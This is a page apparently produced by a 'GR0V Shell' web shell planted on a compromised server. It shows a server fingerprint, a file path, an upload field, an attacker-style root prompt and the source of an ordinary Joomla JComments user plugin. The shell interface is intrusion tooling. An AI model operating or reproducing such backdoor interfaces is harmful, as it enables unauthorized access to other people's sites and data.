? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html_bk/promice/plugins/user/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html_bk/promice/plugins/user/jcomments.php

<?php
// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die( 'Restricted access' );

jimport('joomla.plugin.plugin');

class plgUserJComments extends JPlugin
{
	function plgUserJComments(& $subject, $config) {
		parent::__construct($subject, $config);
	}

	function onAfterStoreUser($user, $isnew, $success, $msg)
	{
		if ($success && !$isnew)
		{
			$db =& JFactory::getDBO();

			// update name, username & email in comments
			$query = "UPDATE #__jcomments"
				. "\nSET name = " . $db->Quote($user['name']) 
				. "\n, username = " . $db->Quote($user['username']) 
				. "\n, email = " . $db->Quote($user['email']) 
				. "\nWHERE userid = " . $db->Quote($user['id'])
				;

			$db->setQuery($query);
			$db->Query();

			// update email in comments subscriptions
			$query = "UPDATE #__jcomments_subscriptions"
				. "\nSET email = " . $db->Quote($user['email'])
				. "\nWHERE userid = " . $db->Quote($user['id'])
				;

			$db->setQuery($query);
			$db->Query();
		}
	}

	function onAfterDeleteUser($user, $succes, $msg)
	{
		if(!$succes) {
			return false;
		}

		$db =& JFactory::getDBO();
		$db->setQuery('DELETE FROM #__jcomments_subscriptions WHERE userid = '.$db->Quote($user['id']));
		$db->Query();

		return true;
	}
}

T1KUS90T
  root-grov@210.1.60.28:~$